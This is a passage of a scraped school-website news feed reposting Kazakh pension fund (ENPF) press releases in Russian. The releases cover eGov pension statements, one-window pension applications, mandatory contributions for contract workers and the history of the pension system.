каталоге услуг iKomek более 770 услуг, к которым после подписания соглашения подключилось и информирование о деятельности и услугах ЕНПФ, а также предоставление справочной информации по контактам столичного Филиала АО «ЕНПФ». ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Городской центр мониторинга и оперативного реагирования выступает как инструмент контроля и аналитики столицы, целями которого являются прием обращений жителей, координация работы коммунальных и оперативных служб при решении инцидентов, аварий, контроль своевременного закрытия инцидентов, выстраивание политики превентивных мер вместо «тушения пожаров», оперативный контроль за ситуацией «здесь» и «сейчас» через городскую систему видеонаблюдения, выявление и обработка инцидентов правонарушений.Центр работает 365/24/7.Обращения можете подавать по номеру дозвона – 109, через мобильное приложение «SmartAstana» или официальные страницы в социальных сетях. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:51:06 +0600http://24.astana-bilim.kz/news/?pkid=1545382346524253Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545382346524253Выписка ЕНПФ доступна на портале eGovhttp://24.astana-bilim.kz/news/?pkid=1545382263900481Выписка ЕНПФ доступна на портале eGov Вкладчики Единого накопительного пенсионного фонда смогут получать информацию о состоянии пенсионных накоплений с учетом инвестиционного дохода на портале электронного правительства. Новый вид справки от ЕНПФ содержит информацию о состоянии пенсионных накоплений вкладчика, движении средств на индивидуальном пенсионном счете, включая поступление пенсионных взносов, осуществление пенсионных выплат, а также информацию об инвестиционном доходе.Выдаваемая ранее электронная справка ГЦВП показывала движение на пенсионном счете вкладчика, но не отображала инвестиционный доход. Новая справка ЕНПФ покажет, в том числе, какой доход или убыток получил за определенный промежуток времени вкладчик.Услуга доступна на портале <a href="http://www.egov.kz">www.egov.kz</a> в категории «Граждане» - рубрика «Социальное обеспечение» - раздел «Пенсионное обеспечение». Для получения услуги требуется электронная цифровая подпись и регистрация на портале электронного правительства. Срок оказания услуги составляет не более 30 минут.Главная цель интегрирования информационных систем ЕНПФ и портала электронного правительства – это возможность получения всей информации о своих накоплениях в шаговой доступности. Теперь каждый вкладчик может лучше контролировать свои пенсионные накопления. Данная справка может использоваться для личных целей вкладчиков, а также при получении банковского кредита или заполнении налоговой декларации. Пресс-центр АО «ЕНПФ»Выписка ЕНПФ доступна на портале eGov Вкладчики Единого накопительного пенсионного фонда смогут получать информацию о состоянии пенсионных накоплений с учетом инвестиционного дохода на портале электронного правительства. Новый вид справки от ЕНПФ содержит информацию о состоянии пенсионных накоплений вкладчика, движении средств на индивидуальном пенсионном счете, включая поступление пенсионных взносов, осуществление пенсионных выплат, а также информацию об инвестиционном доходе.Выдаваемая ранее электронная справка ГЦВП показывала движение на пенсионном счете вкладчика, но не отображала инвестиционный доход. Новая справка ЕНПФ покажет, в том числе, какой доход или убыток получил за определенный промежуток времени вкладчик.Услуга доступна на портале <a href="http://www.egov.kz">www.egov.kz</a> в категории «Граждане» - рубрика «Социальное обеспечение» - раздел «Пенсионное обеспечение». Для получения услуги требуется электронная цифровая подпись и регистрация на портале электронного правительства. Срок оказания услуги составляет не более 30 минут.Главная цель интегрирования информационных систем ЕНПФ и портала электронного правительства – это возможность получения всей информации о своих накоплениях в шаговой доступности. Теперь каждый вкладчик может лучше контролировать свои пенсионные накопления. Данная справка может использоваться для личных целей вкладчиков, а также при получении банковского кредита или заполнении налоговой декларации. Пресс-центр АО «ЕНПФ»24mektepFri, 21 Dec 2018 14:49:34 +0600http://24.astana-bilim.kz/news/?pkid=1545382263900481Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545382263900481Пенсия из одного окнаhttp://24.astana-bilim.kz/news/?pkid=1545382172220622Пенсия из одного окна Алматы, Казахстан – В целях реализации новой композитной услуги по подаче единого заявления на назначение пенсионных выплат по возрасту, используя принцип «одного окна», 2 июля 2018 г. в Закон РК «О пенсионном обеспечении в РК» были внесены дополнения в части положений о взаимодействии Государственной корпорации и ЕНПФ по вопросам учета, перевода, возврата пенсионных выплат. По принципу «одного окна» лица, достигшие пенсионного возраста, для назначения трудовой пенсии (за стаж до 01.01.1998 года) и государственной базовой пенсионной выплаты, а также за пенсионными выплатами по возрасту за счет обязательных пенсионных взносов (ОПВ) и обязательных профессиональных пенсионных взносов (ОППВ) в ЕНПФ будут обращаться с единым заявлением и пакетом документов только в ЦОН. В настоящее время пенсионеры для назначения выплат за счет бюджетных средств обращаются с заявлениями и пакетом документов в подразделения Государственной корпорации по месту жительства (ЦОНы), а за пенсионными выплатами по возрасту за счет ОПВ и ОППВ в ЕНПФ. После ввода композитной услуги выплаты за счет бюджетных средств и пенсионных накоплений будут осуществляться в один день и на один банковский счет, указанный в заявлении. Данные изменения вносятся в интересах получателей пенсионных выплат, достигших общеустановленного пенсионного возраста. При этом иные действующие функции и задачи ЕНПФ, в том числе вопросы учета, расчета, списания и перечисления ежемесячных пенсионных выплат по возрасту и стратегические задачи остаются неизменными. В течение первого полугодия текущего года осуществлялись подготовительные работы по реализации данной услуги. На сегодняшний день ЕНПФ готов к вводу композитной услуги, однако данная услуга будет введена только после внесения соответствующих изменений и дополнений в нормативные правовые акты, регламентирующие порядок пенсионных выплат из ЕНПФ, утверждаемые Правительством РК. До внесения изменений и дополнений в нормативные правовые акты порядок подачи заявлений на получение пенсий из государственного бюджета и выплат из ЕНПФ остается прежним. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>Пенсия из одного окна Алматы, Казахстан – В целях реализации новой композитной услуги по подаче единого заявления на назначение пенсионных выплат по возрасту, используя принцип «одного окна», 2 июля 2018 г. в Закон РК «О пенсионном обеспечении в РК» были внесены дополнения в части положений о взаимодействии Государственной корпорации и ЕНПФ по вопросам учета, перевода, возврата пенсионных выплат. По принципу «одного окна» лица, достигшие пенсионного возраста, для назначения трудовой пенсии (за стаж до 01.01.1998 года) и государственной базовой пенсионной выплаты, а также за пенсионными выплатами по возрасту за счет обязательных пенсионных взносов (ОПВ) и обязательных профессиональных пенсионных взносов (ОППВ) в ЕНПФ будут обращаться с единым заявлением и пакетом документов только в ЦОН. В настоящее время пенсионеры для назначения выплат за счет бюджетных средств обращаются с заявлениями и пакетом документов в подразделения Государственной корпорации по месту жительства (ЦОНы), а за пенсионными выплатами по возрасту за счет ОПВ и ОППВ в ЕНПФ. После ввода композитной услуги выплаты за счет бюджетных средств и пенсионных накоплений будут осуществляться в один день и на один банковский счет, указанный в заявлении. Данные изменения вносятся в интересах получателей пенсионных выплат, достигших общеустановленного пенсионного возраста. При этом иные действующие функции и задачи ЕНПФ, в том числе вопросы учета, расчета, списания и перечисления ежемесячных пенсионных выплат по возрасту и стратегические задачи остаются неизменными. В течение первого полугодия текущего года осуществлялись подготовительные работы по реализации данной услуги. На сегодняшний день ЕНПФ готов к вводу композитной услуги, однако данная услуга будет введена только после внесения соответствующих изменений и дополнений в нормативные правовые акты, регламентирующие порядок пенсионных выплат из ЕНПФ, утверждаемые Правительством РК. До внесения изменений и дополнений в нормативные правовые акты порядок подачи заявлений на получение пенсий из государственного бюджета и выплат из ЕНПФ остается прежним. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:47:54 +0600http://24.astana-bilim.kz/news/?pkid=1545382172220622Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545382172220622Пенсионные взносы лиц, получающих доходы по договорам гражданско-правового характера, станут обязательнымиhttp://24.astana-bilim.kz/news/?pkid=1545382072396460Алматы, Казахстан – Законом РК «О внесении изменений и дополнений в некоторые законодательные акты Республики Казахстан по вопросам социального обеспечения» внесены изменения в Закон Республики Казахстан «О пенсионном обеспечении в Республике Казахстан», в частности в статью 25 согласно которойграждане, работающие на основании гражданско-правовых договоров, обязаны уплачивать обязательные пенсионные взносы. Согласно внесенным изменениям физические лица, получающие доходы по договорам гражданско–правового характера, по аналогии с действующим порядком, предусмотренным для адвокатов, частных судебных исполнителей, частных нотариусов, профессиональных медиаторов и индивидуальных предпринимателей, обязаны уплачивать обязательные пенсионные взносы в размере 10 процентов от получаемого дохода, но не менее 10 процентов от минимального размера заработной платы и не выше 10 процентов 75-кратного минимального размера заработной платы. Ранее отчисление обязательных пенсионных взносов являлось правом физических лиц, получающих доходы по договорам гражданско–правового характера. После введения в действие указанных выше поправок, отчисление обязательных пенсионных взносов станет обязанностью. При этом они должны осуществлять эти взносы самостоятельно. Детальный порядок отчислений регламентируют Правила перечисления взносов<a href="#_ftn1">[1]</a>, утвержденные постановлением Правительства Республики Казахстан.В соответствии с действующей редакцией данных Правил, индивидуальные предприниматели, частные нотариусы, частные судебные исполнители, адвокаты и профессиональные медиаторы, удержанные (начисленные) обязательные пенсионные взносы должны перечислять в НАО «Государственная корпорация «Правительство для граждан», самостоятельно в свою пользу - не позднее 25 числа месяца, следующего за отчетным месяцем. В настоящее время данные Правила уточняются в связи с указанными выше законодательными изменениями в части физических лиц, работающих по договорам гражданско-правового характера. Адвокаты, частные судебные исполнители, частные нотариусы, профессиональные медиаторы, а также индивидуальные предприниматели, не имеющие счетов в банках и организациях, осуществляющих отдельные виды банковских операций (далее - банки), вносят обязательные пенсионные взносы наличными деньгами в банк второго уровня, на следующие банковские реквизиты для их последующего перечисления на индивидуальный пенсионный счет в ЕНПФ:<table width="641"><tbody><tr><td width="167">Банк бенефициара </td><td width="474">НАО «Государственная корпорация «Правительство для граждан» </td></tr><tr><td width="167">БИК бенефициара</td><td width="474">GCVPKZ2A</td></tr><tr><td width="167">ИИК бенефициара </td><td width="474">KZ12009NPS0413609816 </td></tr><tr><td width="167">БИН бенефициара</td><td width="474">160440007161 </td></tr><tr><td width="167">КНП </td><td width="474">«Код назначения платежа» 010 </td></tr></tbody></table> В случае отсутствия дохода за какой-то период эти лица вправе уплачивать обязательные пенсионные взносы в ЕНПФ в свою пользу из расчета 10 процентов от минимального размера заработной платы, установленного на соответствующий финансовый год законом о республиканском бюджете. При отсутствии договора о пенсионном обеспечении за счет обязательных пенсионных взносов необходимо его заключение путем подписания вкладчиком заявления по форме, размещенной на интернет-ресурсе ЕНПФ. Заявление на открытие индивидуального пенсионного счета можно подать в любом офисе Фонда с удостоверением личности или на сайте enpf.kz при помощи электронной цифровой подписи. Данные поправки внесены в целях увеличения сумм пенсионных накоплений граждан за счет регулярности и полноты вносимых обязательных пенсионных взносов. Как известно, в Казахстане действует трехуровневая модель формирования пенсии, в которой участвуют не только государство, работодатель, но и все работающие граждане, в том числе те, кто не являются наемными работниками. Поскольку с течением времени накопительный компонент пенсионной системы станет преобладающим/основным компонентом, важно создать условия для максимального охвата занятого населения пенсионной системой. Вместе с тем, своевременная и регулярная уплата ОПВ необходима для всех категорий граждан, в том числе и для лиц, осуществляющих трудовую деятельность в рамках договоров гражданско-правового характера и позволит не только увеличить сумму пенсионных накоплений, но и обеспечить себе более высокий размер базовой пенсионной выплаты, поскольку с 1 июля 2018 года при ее расчете учитывается трудовой стаж и стаж участия в накопительной пенсионной системе.Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a> <a href="#_ftnref1">[1]</a>Правила и сроки исчисления, удержания (начисления) и перечисления обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов в единый накопительный пенсионный фонд и взысканий по ним, утвержденные постановлением Правительства Республики Казахстан от 18 октября 2013 года № 1116Алматы, Казахстан – Законом РК «О внесении изменений и дополнений в некоторые законодательные акты Республики Казахстан по вопросам социального обеспечения» внесены изменения в Закон Республики Казахстан «О пенсионном обеспечении в Республике Казахстан», в частности в статью 25 согласно которойграждане, работающие на основании гражданско-правовых договоров, обязаны уплачивать обязательные пенсионные взносы. Согласно внесенным изменениям физические лица, получающие доходы по договорам гражданско–правового характера, по аналогии с действующим порядком, предусмотренным для адвокатов, частных судебных исполнителей, частных нотариусов, профессиональных медиаторов и индивидуальных предпринимателей, обязаны уплачивать обязательные пенсионные взносы в размере 10 процентов от получаемого дохода, но не менее 10 процентов от минимального размера заработной платы и не выше 10 процентов 75-кратного минимального размера заработной платы. Ранее отчисление обязательных пенсионных взносов являлось правом физических лиц, получающих доходы по договорам гражданско–правового характера. После введения в действие указанных выше поправок, отчисление обязательных пенсионных взносов станет обязанностью. При этом они должны осуществлять эти взносы самостоятельно. Детальный порядок отчислений регламентируют Правила перечисления взносов<a href="#_ftn1">[1]</a>, утвержденные постановлением Правительства Республики Казахстан.В соответствии с действующей редакцией данных Правил, индивидуальные предприниматели, частные нотариусы, частные судебные исполнители, адвокаты и профессиональные медиаторы, удержанные (начисленные) обязательные пенсионные взносы должны перечислять в НАО «Государственная корпорация «Правительство для граждан», самостоятельно в свою пользу - не позднее 25 числа месяца, следующего за отчетным месяцем. В настоящее время данные Правила уточняются в связи с указанными выше законодательными изменениями в части физических лиц, работающих по договорам гражданско-правового характера. Адвокаты, частные судебные исполнители, частные нотариусы, профессиональные медиаторы, а также индивидуальные предприниматели, не имеющие счетов в банках и организациях, осуществляющих отдельные виды банковских операций (далее - банки), вносят обязательные пенсионные взносы наличными деньгами в банк второго уровня, на следующие банковские реквизиты для их последующего перечисления на индивидуальный пенсионный счет в ЕНПФ:<table width="641"><tbody><tr><td width="167">Банк бенефициара </td><td width="474">НАО «Государственная корпорация «Правительство для граждан» </td></tr><tr><td width="167">БИК бенефициара</td><td width="474">GCVPKZ2A</td></tr><tr><td width="167">ИИК бенефициара </td><td width="474">KZ12009NPS0413609816 </td></tr><tr><td width="167">БИН бенефициара</td><td width="474">160440007161 </td></tr><tr><td width="167">КНП </td><td width="474">«Код назначения платежа» 010 </td></tr></tbody></table> В случае отсутствия дохода за какой-то период эти лица вправе уплачивать обязательные пенсионные взносы в ЕНПФ в свою пользу из расчета 10 процентов от минимального размера заработной платы, установленного на соответствующий финансовый год законом о республиканском бюджете. При отсутствии договора о пенсионном обеспечении за счет обязательных пенсионных взносов необходимо его заключение путем подписания вкладчиком заявления по форме, размещенной на интернет-ресурсе ЕНПФ. Заявление на открытие индивидуального пенсионного счета можно подать в любом офисе Фонда с удостоверением личности или на сайте enpf.kz при помощи электронной цифровой подписи. Данные поправки внесены в целях увеличения сумм пенсионных накоплений граждан за счет регулярности и полноты вносимых обязательных пенсионных взносов. Как известно, в Казахстане действует трехуровневая модель формирования пенсии, в которой участвуют не только государство, работодатель, но и все работающие граждане, в том числе те, кто не являются наемными работниками. Поскольку с течением времени накопительный компонент пенсионной системы станет преобладающим/основным компонентом, важно создать условия для максимального охвата занятого населения пенсионной системой. Вместе с тем, своевременная и регулярная уплата ОПВ необходима для всех категорий граждан, в том числе и для лиц, осуществляющих трудовую деятельность в рамках договоров гражданско-правового характера и позволит не только увеличить сумму пенсионных накоплений, но и обеспечить себе более высокий размер базовой пенсионной выплаты, поскольку с 1 июля 2018 года при ее расчете учитывается трудовой стаж и стаж участия в накопительной пенсионной системе.Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a> <a href="#_ftnref1">[1]</a>Правила и сроки исчисления, удержания (начисления) и перечисления обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов в единый накопительный пенсионный фонд и взысканий по ним, утвержденные постановлением Правительства Республики Казахстан от 18 октября 2013 года № 111624mektepFri, 21 Dec 2018 14:46:34 +0600http://24.astana-bilim.kz/news/?pkid=1545382072396460Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545382072396460О вводе композитной услугиhttp://24.astana-bilim.kz/news/?pkid=1545381992230296О вводе композитной услуги Алматы, Казахстан – В целях реализации новой композитной услуги по подаче единого заявления оназначении пенсионных выплат по возрасту, используя принцип «одного окна», 9 октября 2018 года постановлением Правительства Республики Казахстан № 624 (далее – Постановление) утверждены Изменения и дополнения в постановление Правительства Республики Казахстан от 2 октября 2013 года № 1042 «Об утверждении Правил осуществления пенсионных выплат из пенсионных накоплений, сформированных за счет обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов из единого накопительного пенсионного фонда, и методики осуществления расчета размера пенсионных выплат».Теперь по принципу «одного окна» лицам, достигшим пенсионного возраста, для назначения пенсионных выплатпо возрасту и государственной базовой пенсионной выплаты, а также для получения пенсионных выплат за счет обязательных пенсионных взносов (ОПВ) и обязательных профессиональных пенсионных взносов (ОППВ) изЕНПФ необходимо обращаться с единым заявлением и пакетом документов только в Центр обслуживания населения (ЦОН) Государственной корпорации «Правительство для граждан».На основании указанного заявления получателю будет оказана в том числе проактивная услуга (по умолчанию) по выплате государственной гарантии (разницы между суммой фактически внесенных обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов с учетом уровня инфляции и суммой пенсионных накоплений).Выплаты за счет бюджетных средств и пенсионных накоплений из ЕНПФ будут осуществляться в один день и на один банковский счет, указанный в заявлении. Данные изменения вносятся в интересах получателей пенсионных выплат, достигших общеустановленного пенсионного возраста.При этом иные действующие функции и задачи ЕНПФ, в том числе осуществление выплат в связи с выездом на постоянное место жительства, инвалидностью, погребением и наследованием, выплат по добровольным пенсионным взносам, а также вопросы учета, расчета ежемесячных пенсионных выплат за счет обязательных пенсионных взносов и обязательных профессиональных пенсионных взносов и стратегические задачи остаются неизменными. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a> О вводе композитной услуги Алматы, Казахстан – В целях реализации новой композитной услуги по подаче единого заявления оназначении пенсионных выплат по возрасту, используя принцип «одного окна», 9 октября 2018 года постановлением Правительства Республики Казахстан № 624 (далее – Постановление) утверждены Изменения и дополнения в постановление Правительства Республики Казахстан от 2 октября 2013 года № 1042 «Об утверждении Правил осуществления пенсионных выплат из пенсионных накоплений, сформированных за счет обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов из единого накопительного пенсионного фонда, и методики осуществления расчета размера пенсионных выплат».Теперь по принципу «одного окна» лицам, достигшим пенсионного возраста, для назначения пенсионных выплатпо возрасту и государственной базовой пенсионной выплаты, а также для получения пенсионных выплат за счет обязательных пенсионных взносов (ОПВ) и обязательных профессиональных пенсионных взносов (ОППВ) изЕНПФ необходимо обращаться с единым заявлением и пакетом документов только в Центр обслуживания населения (ЦОН) Государственной корпорации «Правительство для граждан».На основании указанного заявления получателю будет оказана в том числе проактивная услуга (по умолчанию) по выплате государственной гарантии (разницы между суммой фактически внесенных обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов с учетом уровня инфляции и суммой пенсионных накоплений).Выплаты за счет бюджетных средств и пенсионных накоплений из ЕНПФ будут осуществляться в один день и на один банковский счет, указанный в заявлении. Данные изменения вносятся в интересах получателей пенсионных выплат, достигших общеустановленного пенсионного возраста.При этом иные действующие функции и задачи ЕНПФ, в том числе осуществление выплат в связи с выездом на постоянное место жительства, инвалидностью, погребением и наследованием, выплат по добровольным пенсионным взносам, а также вопросы учета, расчета ежемесячных пенсионных выплат за счет обязательных пенсионных взносов и обязательных профессиональных пенсионных взносов и стратегические задачи остаются неизменными. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a> 24mektepFri, 21 Dec 2018 14:44:53 +0600http://24.astana-bilim.kz/news/?pkid=1545381992230296Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545381992230296Копите на радостьhttp://24.astana-bilim.kz/news/?pkid=1545381891536010Копите на радостьНакопительной пенсионной системе Казахстана – 20 лет. За эти годы наша страна прошла огромный путь развития, как в социально-демографическом, так и в экономическом плане, преодолевая немалые трудности и бросая вызов все новым веяниям времени. Вместе с этим и казахстанкая пенсионная система перетерпела существенные изменения, модернизируясь и совершенствуясь под новые реалии жизни. Сделать небольшой экскурс по страницам истории казахстанской пенсионки и узнать о перспективах ее развития нам помог директор филиала г. Астана Шарипов М.Т.Вопрос о необходимости совершенствования советской пенсионной модели встал на заре независимости. После развала Союза из-за экономических сложностей молодого государства существовавшая в советское время солидарная пенсионная система оказалась несостоятельной. Казахстан начал изучать мировой опыт в поисках идеальной для себя модели. Наиболее оптимальным оказалась чилийская модель, котораяв 80-х годах была признана одной из лучших в мире. По примеру Чили и согласно рекомендациям Всемирного Банка, пенсионные реформы были проведены в целом ряде стран Латинской Америки, Восточной Европы и СНГ. Казахстанская модель переняла ее главный принцип – обязательные ежемесячные пенсионные взносы работников в накопительный пенсионный фонд в размере, установленном как процент от дохода, аккумулируемых на индивидуальных пенсионных счетах с капитализируемым инвестиционным доходом. После многочисленных общественных обсуждений, 20 июня 1997 года был принят Закон «О пенсионном обеспечении в Республике Казахстан». Таким образом, Казахстан первым из стран постсоветского пространства перешел к смешанной пенсионной системе, основой которой стала накопительная модель. В сентябре 1997 года Постановлением Правительства РК был создан Государственный накопительный пенсионный фонд (ГНПФ). C начала 1998 года казахстанцы начали перечислять 10 процентов дохода в качестве обязательного пенсионного взноса на индивидуальные пенсионные счета. С этого года наряду с государственным пенсионным фондом в Казахстане стали появляться частные пенсионные фонды. Каждый гражданин имел право выбрать пенсионный фонд, в который он будет перечислять взносы. Если он затруднялся сделать такой выбор, то взносы по умолчанию перечислялись в ГНПФ. Вскоре в 2013 году на базе ГНПФ был создан Единый накопительный пенсионный фонд (ЕНПФ). После того как ЕНПФ передали активы частных фондов, сократились административные и операционные расходы, а также значительно снижен уровень комиссионных вознаграждений по сравнению с комиссиями, взимаемыми частными фондами. Также устранен риск совершения заведомо убыточных сделок с аффилированными лицами. Прекратилась злокачественная миграция вкладчиков из одного фонда в другой, что способствовало снижению общей эффективности системы. При этом появление ЕНПФ не повлияло на пенсионную систему. Как и прежде, в Казахстане сохраняется многоуровневая система: солидарный компонент, обязательная накопительная часть и добровольные накопления. Совокупная пенсия также складывается за счет выплат из двух источников: из государственного бюджета в виде базовой и солидарной пенсий, и из ЕНПФ за счет имеющихся накоплений.Пенсионная система постоянно модернизируется, чтобы соответствовать вызовам времени. В ЕНПФ ведутся актуарные исследования и прогнозы дальнейшего развития накопительной пенсионной системы Казахстана при различных сценариях в перспективе нескольких десятилетий. Специалисты Фонда также изучают международный опыт, в частности тех стран, где достаточно развито то или иное направление развития накопительной пенсионной системы. Так, разработка условно-накопительного компонента успешно используется в Швеции. В то же время большое внимание развитию добровольных пенсионных накоплений уделяется в Германии и Малайзии. Опыт Сингапура привлекателен альтернативным использованием пенсионных накоплений, а Гонконга – инвестиционной стратегией управления пенсионными активами. Однако несмотря на планируемые нововведения, Казахстан сохранит имеющиеся принципы диверсификации пенсионного обеспечения, когда за счет достоинств одного компонента системы компенсируются недостатки другого. Так, солидарный компонент постепенно будет заменяться накопительным, пока в 2040-х, когда на пенсию начнут выходить люди, не имеющие стажа до 1998 года, полностью не исчезнет. Кроме того, в Национальном Банке Республики Казахстан идет активная работа по разработке предложений о передаче части функций управления пенсионными активами в конкурентную среду: частным казахстанским и зарубежным компаниям. Планируется, что вкладчика наделят правом выбора инвестиционной стратегии и частной управляющей компании. При этом ЕНПФ останется единым администратором и оператором всех финансовых и информационных потоков накопительной пенсионной системы РК. Помимо структурных изменений будут и качественные. Свои условия диктует быстрое развитие информационных технологий. В настоящее время в целях поддержания качества оказания услуг ЕНПФ работает над созданием максимального доступа к услугам фонда, в том числе через Интернет. Уже сегодня практически вся линейка пенсионных услуг доступна в цифровом формате, и это в корне меняет стиль взаимоотношений с нашими вкладчиками, подход к обслуживанию становится все более персональным, более оперативным. Копите на радостьНакопительной пенсионной системе Казахстана – 20 лет. За эти годы наша страна прошла огромный путь развития, как в социально-демографическом, так и в экономическом плане, преодолевая немалые трудности и бросая вызов все новым веяниям времени. Вместе с этим и казахстанкая пенсионная система перетерпела существенные изменения, модернизируясь и совершенствуясь под новые реалии жизни. Сделать небольшой экскурс по страницам истории казахстанской пенсионки и узнать о перспективах ее развития нам помог директор филиала г. Астана Шарипов М.Т.Вопрос о необходимости совершенствования советской пенсионной модели встал на заре независимости. После развала Союза из-за экономических сложностей молодого государства существовавшая в советское время солидарная пенсионная система оказалась несостоятельной. Казахстан начал изучать мировой опыт в поисках идеальной для себя модели. Наиболее оптимальным оказалась чилийская модель, котораяв 80-х годах была признана одной из лучших в мире. По примеру Чили и согласно рекомендациям Всемирного Банка, пенсионные реформы были проведены в целом ряде стран Латинской Америки, Восточной Европы и СНГ. Казахстанская модель переняла ее главный принцип – обязательные ежемесячные пенсионные взносы работников в накопительный пенсионный фонд в размере, установленном как процент от дохода, аккумулируемых на индивидуальных пенсионных счетах с капитализируемым инвестиционным доходом. После многочисленных общественных обсуждений, 20 июня 1997 года был принят Закон «О пенсионном обеспечении в Республике Казахстан». Таким образом, Казахстан первым из стран постсоветского пространства перешел к смешанной пенсионной системе, основой которой стала накопительная модель. В сентябре 1997 года Постановлением Правительства РК был создан Государственный накопительный пенсионный фонд (ГНПФ). C начала 1998 года казахстанцы начали перечислять 10 процентов дохода в качестве обязательного пенсионного взноса на индивидуальные пенсионные счета. С этого года наряду с государственным пенсионным фондом в Казахстане стали появляться частные пенсионные фонды. Каждый гражданин имел право выбрать пенсионный фонд, в который он будет перечислять взносы. Если он затруднялся сделать такой выбор, то взносы по умолчанию перечислялись в ГНПФ. Вскоре в 2013 году на базе ГНПФ был создан Единый накопительный пенсионный фонд (ЕНПФ). После того как ЕНПФ передали активы частных фондов, сократились административные и операционные расходы, а также значительно снижен уровень комиссионных вознаграждений по сравнению с комиссиями, взимаемыми частными фондами. Также устранен риск совершения заведомо убыточных сделок с аффилированными лицами. Прекратилась злокачественная миграция вкладчиков из одного фонда в другой, что способствовало снижению общей эффективности системы. При этом появление ЕНПФ не повлияло на пенсионную систему. Как и прежде, в Казахстане сохраняется многоуровневая система: солидарный компонент, обязательная накопительная часть и добровольные накопления. Совокупная пенсия также складывается за счет выплат из двух источников: из государственного бюджета в виде базовой и солидарной пенсий, и из ЕНПФ за счет имеющихся накоплений.Пенсионная система постоянно модернизируется, чтобы соответствовать вызовам времени. В ЕНПФ ведутся актуарные исследования и прогнозы дальнейшего развития накопительной пенсионной системы Казахстана при различных сценариях в перспективе нескольких десятилетий. Специалисты Фонда также изучают международный опыт, в частности тех стран, где достаточно развито то или иное направление развития накопительной пенсионной системы. Так, разработка условно-накопительного компонента успешно используется в Швеции. В то же время большое внимание развитию добровольных пенсионных накоплений уделяется в Германии и Малайзии. Опыт Сингапура привлекателен альтернативным использованием пенсионных накоплений, а Гонконга – инвестиционной стратегией управления пенсионными активами. Однако несмотря на планируемые нововведения, Казахстан сохранит имеющиеся принципы диверсификации пенсионного обеспечения, когда за счет достоинств одного компонента системы компенсируются недостатки другого. Так, солидарный компонент постепенно будет заменяться накопительным, пока в 2040-х, когда на пенсию начнут выходить люди, не имеющие стажа до 1998 года, полностью не исчезнет. Кроме того, в Национальном Банке Республики Казахстан идет активная работа по разработке предложений о передаче части функций управления пенсионными активами в конкурентную среду: частным казахстанским и зарубежным компаниям. Планируется, что вкладчика наделят правом выбора инвестиционной стратегии и частной управляющей компании. При этом ЕНПФ останется единым администратором и оператором всех финансовых и информационных потоков накопительной пенсионной системы РК. Помимо структурных изменений будут и качественные. Свои условия диктует быстрое развитие информационных технологий. В настоящее время в целях поддержания качества оказания услуг ЕНПФ работает над созданием максимального доступа к услугам фонда, в том числе через Интернет. Уже сегодня практически вся линейка пенсионных услуг доступна в цифровом формате, и это в корне меняет стиль взаимоотношений с нашими вкладчиками, подход к обслуживанию становится все более персональным, более оперативным. 24mektepFri, 21 Dec 2018 14:44:03 +0600http://24.astana-bilim.kz/news/?pkid=1545381891536010Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545381891536010Как будет начисляться базовая пенсия в Казахстане с 